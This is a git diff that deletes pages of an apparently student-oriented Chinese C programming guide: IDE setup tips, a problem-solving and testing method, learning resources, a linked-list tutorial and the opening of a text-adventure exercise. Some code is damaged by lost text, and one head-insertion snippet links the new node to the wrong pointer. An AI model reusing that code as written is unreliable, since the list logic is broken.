-![](https://cdn.xyxsw.site/boxcnydHyaNPqUEVVWmbdGofX0d.png) - -### **深色主题** - -需要深色主题请在工具 - 主题里更改为深色 - -### Tips - -#### 仔细查看报错 - -![](https://cdn.xyxsw.site/boxcnC6TAAdtS0P5HzebFgFn2lc.png) - -如果程序代码中出现红色波浪线,则表示该处代码有“错误”,并且该处的错误会同步显示在下面的这个位置,单击即可看到错误详情。如果代码中出现绿色波浪线,则表示该处代码中有警告。警告和错误的区别是警告可以通过编译运行,但编译器认为你这里可能写错了;错误是完全不可以通过编译。 - -![](https://cdn.xyxsw.site/boxcn7zL0QFakVTpYBdpOmmWOvc.png) - -#### 善用提示 - -![](https://cdn.xyxsw.site/boxcn2ouk043lNQEUkVkIS7bSSd.png) - -当你打一些函数名或者关键字时,VS 会给出你语法提示,如果这个提示正确,按下 Tab 键即可将这个提示补全到你的代码里;或者你也可以跟着这个提示打一遍,防止打错关键字。 - -### VS 的缺点 - -过于庞大,很多功能对于初学者来说用不上,对电脑的性能也有略微的要求,但瑕不掩瑜,他的开箱即用的使用体验还是很不错的。 - -## Windows-Visual Studio Code - -Visual Studio Code(以下简称 vscode)和 Visual Studio 都是微软开发的软件,区别在于 Visual Studio Code 是一个比较轻量的代码编辑器,在没有经过配置的情况下一般只能编写和查看代码,而不能运行,并且 Visual Studio Code 跨平台,在安装了丰富的插件后体验不输于一众 IDE。 - -> NX 的留言: -> 鄙人认为 C 的初学者应该使用 VSCode 更佳,环境准备可见鄙人博客 [『C/C++』VScode 环境配置](https://nickxu.me/2021/12/31/cc-vscode-huan-jing-pei-zhi/) - -### vscode 安装 - -#### 安装软件本体 - -[https://code.visualstudio.com/](https://code.visualstudio.com/) - -在该网站进行下载,并安装,安装完成并打开后可以根据右下角的提示来修改显示语言等 - -#### 安装编译器 - -如果你电脑上下载有 VS,那么安装编译器这一环节可以省略。如果电脑上没有 VS,则需要安装 VS,或者下载其他 C 语言编译器,如 gcc,clang,icc 等 - -### 创建“项目” - -vscode 的项目和 VS 不同,vscode 的项目比较松散,并没有 VS 那样是一套非常完善的项目系统。 - -首先需要一个空文件夹,并在 vscode 里打开这个文件夹。然后点击文件 - 新建文本文件,并选择语言为 C 语言。此时如果你是第一次创建 C 语言文件,那么右下角会弹出提示,提示你安装 C/C++ 插件,安装即可。 - -### 编写代码并运行 - -编写完代码后,保存文件,并点击运行 - 启动调试 - -![](https://cdn.xyxsw.site/boxcnim98FJybpkGl8sfqxP9v9b.png) - -此时会弹出如下选择框,我的电脑上同时安装有 VS 和 gcc 编译器,因此有两个,大部分的电脑上应该只有一个“C++ (Windows)”,选择你电脑上的编译器并运行即可。 - -至此就已经完成了编程和调试的基本功能。如果你想要更丰富的功能,比如多文件编译等等,可以自行去网上搜索相关的配置教程。vscode 配置好了是非常好用的,但缺点就在于配置比较麻烦。 - -## Windows-CLion - -CLion 是 jetbrains 家族的 C 语言 IDE - -[https://www.jetbrains.com/clion/](https://www.jetbrains.com/clion/) - -收费软件,但可以从 GitHub 学生包里白嫖,喜欢折腾或者喜欢 jetbrains 家族软件风格的可以自己去折腾折腾。 - -## Mac OS-Visual Studio Code - -用法和 Windows 的差不多,但由于 Mac OS 自带 clang 编译器,所以无需额外安装编译器。 - -> NX 的留言: -> 使用自带的 clang 的确没问题,但是如果你想在 macOS 上使用 gcc/g++ ,[可参考鄙人的博客 在 Mac 的 VSC 中使用 g++ 编译器](https://nickxu.me/2023/04/04/%E5%9C%A8Mac%E7%9A%84VSCode%E4%B8%AD%E4%BD%BF%E7%94%A8g-%E7%BC%96%E8%AF%91%E5%99%A8) - -## Mac OS-CLion - -同样和 Windows 的差不多。 - -## Mac OS-Xcode - -XCode 是 mac 官方的 IDE,能编写所有 mac 家族设备的软件。但缺点是没有中文。 - -![](https://cdn.xyxsw.site/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png) - -打开以后选择 Create a new Xcode project,选择 macOS-Command Line Tool - -![](https://cdn.xyxsw.site/boxcnbnrVCmNGfriHhU5pL76gsd.png) - -![](https://cdn.xyxsw.site/boxcnnjaObP5JzpICUx1PMO9MQg.png) - -两个空里第一个填项目名,第二个随便填就行 - -next 后选择项目保存的位置,之后即可到达以下界面: - -![](https://cdn.xyxsw.site/boxcnl06p0ZS8SSQsWJNLQLYIjc.png) - -点左上方小三角即可运行 - -在行号上点击并运行即可调试 - -![](https://cdn.xyxsw.site/boxcnmRygjmZfwFzODP2N6bVoEh.png) - -## Linux - -### 你都用 Linux 了你还来问我?一边玩去 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md deleted file mode 100644 index c2cc8d3..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md +++ /dev/null @@ -1,67 +0,0 @@ -# 解决编程问题的普适性过程 - -- 本篇不需要任何前置知识,推荐在学习 C 语言和学完 C 语言后各看一遍。 -- 我们鼓励你在解决问题的时候进行思考,锻炼解决问题的能力,而不只是成为一个做代码翻译工作的“码农”。 - -![](https://cdn.xyxsw.site/YAOvb6gquofiAYxsn3tcxcCYngf.png) - -解决编程问题的常见误区: - -从编写代码入手,抓来就写(没有任何计划),对于简单编程问题,也许它是有效的,但往往它不可避免的不起作用。然后花费无数个小时试图修复代码(依旧没有任何计划),由于没有明确的计划来做什么,当“修复”代码时,往往导致它变得更复杂、更混乱。最终这个程序有点奏效,你对此心满意足。 - -相反,你应该以一种严谨的方式设计一种算法。下图显示了如何设计算法。然而,请注意,“编写代码”只有在你有了一个经过手动测试的算法之后,才能在你建立计划之前给你一些信心,证明你的计划是可靠的。 - -如果你计划得足够好并且代码编写得正确,你的代码将在第一次工作。即便它第一次不起作用,那么你至少有一个对于代码如何调试的可靠计划。 - -![](https://cdn.xyxsw.site/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png) - -## Work an Example Yourself - -尝试设计算法的第一步是**自己(手动)处理至少一个问题实例,为每个参数选择特定值。**往往需要确定**一个正确的示例,以及错误的示例。** - -如果你在这一步陷入困境,这通常意味着两件事中的一件。第一种情况是问题不明确,不清楚你应该做什么。在这种情况下,你必须在继续之前解决问题。如果你正在解决自己创造的问题,你可能需要更仔细地思考正确的答案应该是什么,并完善你对问题的定义。 - -第二种情况是,缺乏领域知识,即问题所涉及的特定领域或学科的知识。也许你应该适当补充学习对应的知识。注意,领域知识可能来自数学以外的领域。它可以来自任何领域,因为编程对于处理任何类型的信息都很有用。 - -## Write Down What You Just Did - -这一步中,必须思考解决问题所做的工作,并写下**解决该特定实例的步骤。**思考这一步骤的另一种方式是,写下一组清晰的指示,**其他人可以按照这些指示来重现刚刚解决的特定问题实例的答案**。如果在步骤 1 中执行了多个实例,那么也将重复步骤 2 多次,对步骤 1 中的每个实例重复一次。如果一条指令有点复杂,那没关系,只要指令稍后有明确的含义,我们将把这些复杂的步骤转化为它们自己的编程问题,这些问题将单独解决。 - -## Generalize Your Steps - -**将步骤 2 得到的具体步骤,抽象为一般性的结论。**有时可能很难概括步骤。发生这种情况时,返回步骤 1 和 2 可能会有所帮助。做更多的问题实例将提供更多的信息供参考,更能帮助深入算法。这个过程通常被称为编写“伪代码”,以编程方式设计算法,而不使用特定的目标语言。几乎所有的程序员在编写任何实际代码之前都会使用这种方法来确保他们的算法是正确的。 - -## Test Your Algorithm - -在步骤 3 之后,我们有了一个我们认为正确的算法。然而,我们完全有可能在这一路上搞砸了。步骤 4 的主要目的是确保我们的步骤在继续之前是正确的。为了实现这一点,我们使用**不同于设计算法时使用的参数值**来测试我们的算法。我们手动执行算法,并将其获得的答案与正确的答案进行比较。如果它们不同,那么我们知道我们的算法是错误的。我们使用的测试用例(参数值)越多,我们就越能确信我们的算法是正确的。不幸的是,通过测试无法确保我们的算法是正确的。要完全确定你的算法是正确的,唯一的方法就是正式证明它的正确性(使用数学证明),这超出了这个专门化的范围。 - -确定好的测试用例是一项重要的技能,可以随着实践而提高。对于步骤 4 中的测试,您需要使用至少产生几个不同答案的情况进行测试(例如,如果您的算法有“是”或“否”答案,则应使用同时产生“是”和“否”的参数进行测试)。您还应该测试任何角落情况,其中行为可能与更一般的情况不同。每当您有条件决定(包括计算位置的限制)时,您应该在这些条件的边界附近测试潜在的角点情况。 - -## Translation to Code - -既然你对你的算法很有信心,那么是时候把它翻译成代码了。大多数时候,你会想将代码输入编辑器,以便编译和运行程序。 - -## Test Program - -- [黑盒测试](https://zh.wikipedia.org/wiki/%E9%BB%91%E7%9B%92%E6%B5%8B%E8%AF%95) - -在黑盒测试中,测试人员只考虑功能的预期行为,而不考虑设计测试用例的任何实现细节。缺乏对实现细节的访问是这种测试方法的由来——函数的实现被视为测试人员无法查看的“黑盒子”。 - -事实上我们无需执行步骤 1-5 就能够为假设问题设想好的测试用例。实际上,在开始解决问题之前,您可以针对问题提出一组黑盒测试。一些程序员提倡**测试优先**的开发方法。一个优点是,如果您在开始之前编写了一个全面的测试套件,那么在实现代码之后就不太可能在测试上有所疏漏。另一个优点是,通过提前考虑你的情况,你在开发和实现算法时能够降低错误率。 - -- 选择测试用例的一些建议 - -1. 确保测试涵盖所有错误情况。 -2. 确保测试“太多”和“太少”。例如,如果程序需要一行正好有 10 个字符的输入,则用 9 个和 11 个进行测试。 -3. 任何给定的测试用例只能测试一个“错误”条件。这意味着,如果要测试两个不同的错误条件,则需要两个不同测试用例。 -4. 准确地在有效性边界处进行测试。 - -- [白盒测试](https://zh.wikipedia.org/wiki/%E7%99%BD%E7%9B%92%E6%B5%8B%E8%AF%95) - -与黑盒测试不同,白盒测试涉及检查代码以设计测试用例。白盒测试中的一个考虑因素是测试覆盖率——描述测试用例如何覆盖代码的不同行为。 - -请注意,虽然白盒和黑盒测试不同,但它们不是互斥的,而是互补的。可以从形成一组黑盒测试用例开始,实现算法,然后创建更多测试用例以达到所需的测试覆盖率。 - -## Debug Program - -一旦在代码中发现了问题,就需要修复它,这个过程称为调试。许多新手程序员(甚至一些经验丰富的程序员)以临时方式调试,试图更改代码中的某些内容,并希望它能解决他们的问题。这样的方法很少有效,常常会导致很多挫折。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md deleted file mode 100644 index 331e006..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习.md +++ /dev/null @@ -1,45 +0,0 @@ -# C 语言前置概念学习 - -如何学习 C 语言?**第一步:Throw away the textbook。**也许你可以通过以下途径: - -以下方式难度由易到难,但并不意味着收获由小到大: - -1.Video:[B 站翁恺的 C 语言课程](https://www.bilibili.com/video/BV1dr4y1n7vA)(非常基础,缺点是只看视频学的过浅) - - - -2.MOOC:[翁凯 C 课程的 MOOC 慕课](https://www.icourse163.org/course/ZJU-9001)(同上,慕课的习题和 Projects 性价比不高,几乎没有差别) - -3.Web:[菜鸟教程](https://www.runoob.com/cprogramming/c-tutorial.html)(基础但是覆盖面较广,不够深入) - -4.Web:[CNote](https://github.com/coderit666/CNote)(例子密集,学习曲线平滑,覆盖面广且具有深度) - -::: tip 📥 -《C Primer Plus》(第六版中文版)(216MB)附件下载 -::: - -5.Book:**教材替换用书——《C Primer Plus》!**(基础且深入的恰到好处,有一定拓展,可能后面的章节有点难懂,是一本不可多得的好书,不要忽视课本习题及 Projects) - -6.MOOC:[Introductory C Programming 专项课程](https://www.coursera.org/specializations/c-programming)(**全英文**,好处是涉及到计算机思维,包含许多常用 tools 的教学例如 git、make、emacs、gdb,视频讲解结合文档阅读,对于 C 的重要核心知识讲解透彻,难度颇高,建议用作提升) - -7.Web:[LinuxC 一站式编程](https://akaedu.github.io/book/)(难度大,枯燥硬核,收获多,基于 linux) - -## 学习建议:可以选择其一或多种学习 - -- 对于缺乏计算机基础(这里的基础指的是计算机的日常使用)的同学,(1、2)是不错的选择,但在学完后要选择 4、5、6 进行补充巩固提高。 -- 对于有一定计算机基础的同学,直接上手 4、5、6 都是很不错的选择。 -- 对于有一定 linux 基础以及计算机基础的同学,或是同时想同步学习 linux 的同学,7 是可选择的。 - -关于“6.Introductory C Programming 专项课程”的一些思考 - -该课程的免费修读需要在 coursera 上申请助学金(并不困难)[申请教程](https://zhuanlan.zhihu.com/p/394479617)。 - -对于以上几种方式,6 有其特殊性,6 不仅仅是对于 C 语言的学习,其其中包含的计算机思维,Tools 的使用等等都有其普遍适用性。对比其他方式(包含学校课程)不难发现,对于计算机思维的训练与提升,在一定程度上,我们存在着缺失,但它又是极其重要的,如果你希望在学习 C 的同时又有其他多方面的提升,强烈建议你试试该课程(不要被英语劝退![2.5 以理工科的方式阅读英语](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.5%E4%BB%A5%E7%90%86%E5%B7%A5%E7%A7%91%E7%9A%84%E6%96%B9%E5%BC%8F%E9%98%85%E8%AF%BB%E8%8B%B1%E8%AF%AD.md) )。 - -当然你也可以通过其他方式培养计算机思维以及学习 Tools 的使用。但是越早培养,越有优势。 - -计算机思维与计算机科学与编码能力 - -![](https://cdn.xyxsw.site/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png) - -### **CS education is more than just “learning how to code”!** diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md deleted file mode 100644 index 91dffb7..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md +++ /dev/null @@ -1,348 +0,0 @@ -# C 语言自测标准——链表 - -## 链表(单链表)是什么 - -链表又称单链表、链式存储结构,用于存储逻辑关系为“一对一”的数据。 - -使用链表存储数据,不强制要求数据在内存中集中存储,各个元素可以分散存储在内存中。例如,使用链表存储 {1,2,3},各个元素在内存中的存储状态可能是: - -![](https://cdn.xyxsw.site/boxcnuwZzqX4dF8xKTYajwrDSxf.png) - -可以看到,数据不仅没有集中存放,在内存中的存储次序也是混乱的。那么,链表是如何存储数据间逻辑关系的呢? - -链表存储数据间逻辑关系的实现方案是:为每一个元素配置一个指针,每个元素的指针都指向自己的直接后继元素,如下图所示: - -![](https://cdn.xyxsw.site/boxcnAnkVAJmMT0NSNvo6crXYAd.png) - -显然,我们只需要记住元素 1 的存储位置,通过它的指针就可以找到元素 2,通过元素 2 的指针就可以找到元素 3,以此类推,各个元素的先后次序一目了然。像图 2 这样,数据元素随机存储在内存中,通过指针维系数据之间“一对一”的逻辑关系,这样的存储结构就是链表。 - -### 结点(节点) - -在链表中,每个数据元素都配有一个指针,这意味着,链表上的每个“元素”都长下图这个样子: - -![](https://cdn.xyxsw.site/boxcncRc5OKZROtxC9rpQYxrjvf.png) - -数据域用来存储元素的值,指针域用来存放指针。数据结构中,通常将这样的整体称为结点。 - -也就是说,链表中实际存放的是一个一个的结点,数据元素存放在各个结点的数据域中。举个简单的例子,图 3 中 {1,2,3} 的存储状态用链表表示,如下图所示: - -![](https://cdn.xyxsw.site/boxcn0VMYQlez7tQTNkTPDkCsvg.png) - -在 C 语言中,可以用结构体表示链表中的结点,例如: - -```c -typedef struct Node{ - int elem; //代表数据域 - struct Node * next; //代表指针域,指向直接后继元素 -}Node; -typedef struct Node* Link; -``` - -### 头结点、头指针和首元结点 - -图 4 所示的链表并不完整,一个完整的链表应该由以下几部分构成: - -头指针:是指向链表中一个结点所在存储位置的指针。如果链表中有头结点,则头指针指向头结点;若链表中没有头结点,则头指针指向链表中第一个数据结点(也叫首元结点)。 - -链表有头指针,当我们需要使用链表中的数据时,我们可以使用遍历查找等方法,从头指针指向的结点开始,依次搜索,直到找到需要的数据;反之,若没有头指针,则链表中的数据根本无法使用,也就失去了存储数据的意义。 - -结点:链表中的节点又细分为头结点、首元结点和其它结点: - -头结点:位于链表的表头,即链表中第一个结点,其一般不存储任何数据,特殊情况可存储表示链表信息(表的长度等)的数据。 - -头结点的存在,其本身没有任何作用,就是一个空结点,但是在对链表的某些操作中,链表有无头结点,可以直接影响编程实现的难易程度。 - -例如,若链表无头结点,则对于在链表中第一个数据结点之前插入一个新结点,或者对链表中第一个数据结点做删除操作,都必须要当做特殊情况,进行特殊考虑;而若链表中设有头结点,以上两种特殊情况都可被视为普通情况,不需要特殊考虑,降低了问题实现的难度。 - -**链表有头结点,也不一定都是有利的。例如解决约瑟夫环问题,若链表有头结点,在一定程度上会阻碍算法的实现。** - -**所以,对于一个链表来说,设置头指针是必要且必须的,但有没有头结点,则需要根据实际问题特殊分析。** - -首元结点:指的是链表开头第一个存有数据的结点。 - -其他节点:链表中其他的节点。 - -也就是说,一个完整的链表是由头指针和诸多个结点构成的。每个链表都必须有头指针,但头结点不是必须的。 - -例如,创建一个包含头结点的链表存储 {1,2,3},如下图所示: - -![](https://cdn.xyxsw.site/boxcnjAoO54txAhnu7Ry8ExjGvc.png) - -## 链表的创建 - -创建一个链表,实现步骤如下: - -1. 定义一个头指针; -2. 创建一个头结点或者首元结点,让头指针指向它; -3. 每创建一个结点,都令其直接前驱结点的指针指向它(尾插法/头插法)。 - -### 创建头指针和头结点(首元结点) - -```c -typedef struct Node{ - int elem; //代表数据域 - struct Node * next; //代表指针域,指向直接后继元素 -}Node; -typedef struct Node* Link; ------------------------------------------------------------------------ -Link* head = (Link*)malloc(sizeof(Link)); //创建头指针 -*head = (Link)malloc(sizeof(Node));//创建头结点(首元结点) -(*head)->elem = element;//头结点可以不存储数据或存储特殊数据 -(*head)->next = NULL;//初始头结点/首元结点的后继元素为空 -``` - -### 创建结点——头插法 - -```c -Link p; -while (Judgement) //for 同理 -{ - p = (Link)malloc(sizeof(Node)); - p->elem = element; - p->next = (*head)->next; - (*head)->next = p; -} -``` - -![](https://cdn.xyxsw.site/boxcn8ZxT5oMkScArZjZhgM6TYb.png) - -### 创建结点——尾插法 - -```c -Link p; -Link r = (*head); //临时中间结构指针,在尾插法中始终指向最后一个结点 -while (Judgement) //for 同理 -{ - p = (Link)malloc(sizeof(Node)); - p->elem = element; - p->next = NULL; - r->next = p; - r = p; -} -``` - -![](https://cdn.xyxsw.site/boxcnnMjc9pwgZgk1GBmBRlBS6d.png) - -## 链表的基本操作 - -学会创建链表之后,本节继续讲解链表的一些基本操作,包括向链表中添加数据、删除链表中的数据、读取、查找和更改链表中的数据。 - -### 链表读取元素 - -获得链表第 i 个数据的算法思路: - -1. 声明一个结点 p 指向链表的第一个结点,初始化 j 从 1 开始; -2. 当 jnext; //p 指向第一个结点 - int j = 1; - while (p && j < i) //p 不为空或者计数器 j 还没有等于 i 时,循环继续 - { - p = p->next; //p 指向下一个结点 - j++; - } - if (!p) //第 i 个元素不存在 - return error; - *e = p->elem; //取第 i 个元素的数据 - return ok; -} -``` - -了解了链表如何读取元素,同理我们可以实现更新和查找链表元素。 - -### 链表插入元素 - -向链表中增添元素,根据添加位置不同,可分为以下 3 种情况: - -- 插入到链表的头部,作为首元节点; -- 插入到链表中间的某个位置; -- 插入到链表的最末端,作为链表中最后一个结点; - -对于有头结点的链表,3 种插入元素的实现思想是相同的,具体步骤是: - -1. 将新结点的 next 指针指向插入位置后的结点; -2. 将插入位置前结点的 next 指针指向插入结点; - -例如,在链表 `{1,2,3,4}` 的基础上分别实现在头部、中间、尾部插入新元素 5,其实现过程如图所示: - -![](https://cdn.xyxsw.site/boxcnxjex5Q3Lt9AAx6roN3ClUg.png) - -从图中可以看出,虽然新元素的插入位置不同,但实现插入操作的方法是一致的,都是先执行步骤 1,再执行步骤 2。实现代码如下: - -```c -/*在 L 中第 i 个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素 e, -L 的长度加一(可以用头结点存储链表长度)*/ -int ListInsert(Link *L, int i, int e) -{ - Link p, r; //r 为临时中间结构指针,用于实现插入 - p = *L; //p 指向头结点 - int j = 1; - while (p && j < i) //寻找第 i 个结点, - { - p = p->next; - j++; - } - if (!p) - return error; - r = (Link)malloc(sizeof(Node)); - r->elem = e; - r->next = p->next; - p->next = r; - return ok; -} -``` - -注意:链表插入元素的操作必须是先步骤 1,再步骤 2;反之,若先执行步骤 2,除非再添加一个指针,作为插入位置后续链表的头指针,否则会导致插入位置后的这部分链表丢失,无法再实现步骤 1。 - -对于没有头结点的链表,在头部插入结点比较特殊,需要单独实现。 - -![](https://cdn.xyxsw.site/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png) - -和 2)、3) 种情况相比,由于链表没有头结点,在头部插入新结点,此结点之前没有任何结点,实现的步骤如下: - -1. 将新结点的指针指向首元结点; -2. 将头指针指向新结点。 - -实现代码如下: - -```c -/*在 L 中第 i 个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素 e, -L 的长度加一(可以用头结点存储链表长度)*/ -int ListInsert(Link *L, int i, int e) -{ - if (i == 1) - { - Link r = (Link)malloc(sizeof(Node)); - r->elem = e; - r->next = (*L)->next; - *L = r; - } - else - { - //...... - } -} -``` - -### 链表删除元素 - -从链表中删除指定数据元素时,实则就是将存有该数据元素的节点从链表中摘除。 - -对于有头结点的链表来说,无论删除头部(首元结点)、中部、尾部的结点,实现方式都一样,执行以下三步操作: - -1. 找到目标元素所在结点的直接前驱结点; -2. 将目标结点从链表中摘下来; -3. 手动释放结点占用的内存空间; - -从链表上摘除目标节点,只需找到该节点的直接前驱节点 temp,执行如下操作: - -```c -temp->next=temp->next->next; -``` - -例如,从存有 `{1,2,3,4}` 的链表中删除存储元素 3 的结点,则此代码的执行效果如图 3 所示: - -![](https://cdn.xyxsw.site/boxcnn3QHja0tzEwqJl9Mk4KnCg.png) - -实现代码如下: - -```c -/*删除 L 中的第 i 个数据元素,并用 e 返回其值,L 的长度减一 -(可以用头结点存储链表长度)*/ -int ListDelete(Link *L, int i, int* e) -{ - Link p, r; - p = *L; - int j = 1; - while (p->next && j < i) //寻找删除元素中的前驱元素 - { - p = p->next; - j++; - } - if (!(p->next)) - return error; //L 中不存在第 i 个元素 - r = p->next; //标记要删除的结点 - p->next = r->next; //移除结点 - *e = r->elem; //返回结点所存数据 - free(r); //释放结点 - return ok; -} -``` - -对于不带头结点的链表,需要单独考虑删除首元结点的情况,删除其它结点的方式和图 3 完全相同,如下图所示: - -![](https://cdn.xyxsw.site/boxcnXjwE0yDFvpQxLaPw7FifxV.png) - -实现代码如下: - -```c -/*删除 L 中的第 i 个数据元素,并用 e 返回其值,L 的长度减一 -(可以用头结点存储链表长度)*/ -int ListDelete(Link *L, int i, int* e) -{ - if (i == 1) - { - Link r = *L; - *L= r->next; - *e = r->elem; - free(r); - } - else - { - //...... - } -} -``` - -### 链表查找元素 - -在链表中查找指定数据元素,最常用的方法是:从首元结点开始依次遍历所有节点,直至找到存储目标元素的结点。如果遍历至最后一个结点仍未找到,表明链表中没有存储该元素。 - -### 链表更新元素 - -更新链表中的元素,只需通过遍历找到存储此元素的节点,对节点中的数据域做更改操作即可。 - -## 约瑟夫环 - -约瑟夫环问题,是一个经典的循环链表问题,题意是:已知 n 个人(分别用编号 1,2,3,…,n 表示)围坐在一张圆桌周围,从编号为 k 的人开始顺时针报数,数到 m 的那个人出列;他的下一个人又从 1 开始,还是顺时针开始报数,数到 m 的那个人又出列;依次重复下去,直到圆桌上剩余一个人。 - -如图所示,假设此时圆周周围有 5 个人,要求从编号为 3 的人开始顺时针数数,数到 2 的那个人出列: - -![](https://cdn.xyxsw.site/boxcngx7ZPA7pONbJo82LbNCO1g.png) - -出列顺序依次为: - -- 编号为 3 的人开始数 1,然后 4 数 2,所以 4 先出列; -- 4 出列后,从 5 开始数 1,1 数 2,所以 1 出列; -- 1 出列后,从 2 开始数 1,3 数 2,所以 3 出列; -- 3 出列后,从 5 开始数 1,2 数 2,所以 2 出列; -- 最后只剩下 5 自己,所以 5 胜出。 - -那么,究竟要如何用链表实现约瑟夫环呢?如何让一个含 5 个元素的约瑟夫环,能从第 5 个元素出发,访问到第 2 个元素呢?上面所讲的链表操作显然是难以做到的,解决这个问题就需要用到**循环链表**。 - -## 循环链表 - -将单链表中终端结点的指针端由空指针改为指向头结点,使得整个单链表形成一个环,这种头尾相接的单链表成为单循环链表,简称循环链表。 - -循环链表解决了一个很麻烦的问题。如何从当中一个结点出发,访问到链表的全部结点。 - -为了使空链表和非空链表处理一致,我们通常设一个头结点,当然,并不是说,循环链表一定要头结点,这需要注意。循环链表带有头结点的空链表如图所示: - -![](https://cdn.xyxsw.site/boxcn3l30usevMTgv1ZbZ0mfJdh.png) - -对于非空的循环链表如图所示: - -![](https://cdn.xyxsw.site/boxcngoLTiM9wto9uCGzH7nkjkW.png) - -循环链表和单链表的主要差异就在于循环的判断条件上,原来是判断 p->next 是否为空,现在则是 p->next 不等于头结点,则循环未结束。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一:编程属性.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一:编程属性.md deleted file mode 100644 index 4a17c32..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一:编程属性.md +++ /dev/null @@ -1,45 +0,0 @@ -# 阶段一:编程属性 - -## [C 语言任务模块](https://github.com/E1PsyCongroo/HDU_C_Assignments/) - -作为一名合格的大学生,更应深谙“纸上得来终觉浅,绝知此事要躬行”的道理,编程语言就像是一个工具,无论你如何熟读说明书(语法、特性),未经实践终究是靠不住的。 - -本模块将以有趣的任务的形式替你检测是否你已经达到了基本掌握 C 语言语法和一些特性的目的 - -- 该任务模块旨在帮助巩固 C 语言基础知识,传递一些编程思维,入门学习请看 [3.4.4C 语言前置概念学习](3.4.4C%E8%AF%AD%E8%A8%80%E5%89%8D%E7%BD%AE%E6%A6%82%E5%BF%B5%E5%AD%A6%E4%B9%A0.md) -- 你可以通过使用 git 工具 `git clone https://github.com/E1PsyCongroo/HDU_C_Assignments.git` 获取任务 -- 或者访问 [https://github.com/E1PsyCongroo/HDU_C_Assignments](https://github.com/E1PsyCongroo/HDU_C_Assignments) 学习 - -## 任务一做前必查 - -1. 理解[3.4.3 解决编程问题的普适性过程](3.4.3%E8%A7%A3%E5%86%B3%E7%BC%96%E7%A8%8B%E9%97%AE%E9%A2%98%E7%9A%84%E6%99%AE%E9%80%82%E6%80%A7%E8%BF%87%E7%A8%8B.md) 。 -2. 理解 C 语言语法基础:变量、表达式、函数、判断、循环、常用标准库函数。 -3. 理解 C 语言中的一切都是数字。 -4. 初步理解 C 语言各类数据类型:基本数据类型和复杂自定义数据类型。 -5. 初步理解 C 语言数组及字符串。 - -## 任务二做前必查 - -1. 深入理解 C 语言指针、数组和字符串。 -2. 理解递归思想。 -3. 理解复杂自定义数据类型。 - -## 请阅读各个任务的 README.md,了解完成任务所需的前置知识 - -进阶:评价一个程序,大体分为以下四个层次。 - -1.程序没有语法错误。 - -2.程序对于合法的输入数据能够产生满足要求的输入结果。 - -3.程序对于非法的输入数据能够得出满足规格说明的结果。 - -4.程序对于精心选择的,甚至刁难的测试数据都有满足要求的输入结果。 - -在你写完这些代码后会不会感觉你的代码不够优雅呢? - -假设你的逻辑更为复杂,需要完成的功能更多,如果全部写在 main 里面你会不会觉得越来越困难呢? - -有没有一种方法可以让你更为优雅的把每一个功能拆分开呢? - -当然有,在下一章,你会深刻的体会到函数的意义 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md deleted file mode 100644 index 96323ed..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险.md +++ /dev/null @@ -1,30 +0,0 @@ -# 1.开始冒险 - -让我们从一个最基本的函数开始 - -```c -#include - -int main() -{ - printf("Welcome to Little Cave Adventure.\n"); - printf("It is very dark in here.\n"); - printf("\nBye!\n"); - return 0; -} -``` - -输出样例: - -Welcome to Little Cave Adventure. -It is very dark in here. - -Bye! - -尽管可能微不足道,但该程序确实展示 *了*任何文本冒险中最重要的方面:描述性文本。一个好的故事是制作一款好的冒险游戏的要素之一。 - -## 为什么要用英文? - -因为中文的编码模式可能会带来奇怪的影响。 - -思考题:大家可自行去了解 utf-8,GDB 等编码模式及其历程 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md deleted file mode 100644 index beb9afc..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性.md +++ /dev/null @@ -1,508 +0,0 @@ -# 10.增添属性 - -我们在第 4 章中介绍 object 时,它们只有三个属性。 - -在第 6 章中,我们增加了第四个。这他妈太少了! - -为了在我们的冒险中加入更多细节,我们需要更多的属性。下面是一些示例。 - -1. 环顾四周这个命令可以给出玩家位置的全局描述,包括在那里的物品、NPC 和其他对象的列表。很多冒险活动都需要玩家对这些对象进行查询,从而揭示出在游戏中获得进展所需要的某些线索,或者简单地提升游戏的氛围。我们将添加一个对每个对象都有详细说明的属性细节,加上一个与包含其他对象的对象一起使用的属性内容。 -2. 如果玩家开始一段话时,响应总是“OK”和新位置的描述。这似乎有点沉闷。所以,为每个段落提供自己的自定义消息会更好。我们将添加一个属性 textGo 来保存此消息。 -3. 有些通道可能是特殊设定的,比如说传送门,陷阱等等。 - -举个例子,一条林道可能隐藏着陷阱。虽然通道似乎从位置 A 通向位置 B,但实际上终点是位置 C,即掉进坑了。 - -假设我们的洞口被警卫挡住了。玩家就过不去,我们可以简单地将通道的*目的地*更改为终点位置(或 *NULL*),但这会导致对*诸如 go cave 和 look cave* 